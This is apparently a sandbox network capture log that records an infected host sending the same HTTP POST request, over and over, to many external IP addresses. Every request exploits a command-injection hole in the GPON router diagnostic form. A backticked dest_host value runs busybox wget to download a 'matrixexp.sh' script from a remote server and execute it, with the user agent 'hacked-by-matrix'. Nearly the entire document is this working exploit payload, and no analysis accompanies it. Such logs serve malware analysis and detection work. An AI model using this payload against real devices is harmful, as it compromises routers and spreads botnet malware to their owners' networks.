Mar 21, 2024 05:18:33.914096117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.13	43258	5.48.148.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914211035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.13	57000	212.40.88.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914212942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.13	56602	118.110.36.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914273977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.13	46566	94.34.5.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914333105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.13	60576	212.90.139.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914339066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.13	34954	42.4.249.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914361954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.13	50842	79.254.119.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914376020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.13	51514	94.102.205.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914427996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.13	48382	5.161.195.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914453030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.13	42900	178.118.12.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914483070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.13	33796	42.52.82.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914572954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.13	43036	109.126.160.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914577007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.13	58608	109.121.196.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914613008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.13	53536	212.52.9.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914638042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.13	53096	5.69.19.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914654016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.13	47416	5.164.133.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914740086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.13	60782	109.176.175.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914746046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.13	57544	2.69.61.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914781094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.13	53188	210.53.148.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914824009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.13	47810	5.211.243.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914865971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.13	39066	210.232.166.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914869070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.13	45638	37.166.148.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914890051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.13	55706	178.241.198.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.914906979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.13	43916	79.181.75.49	443

Timestamp	Bytes transferred	Direction	Data
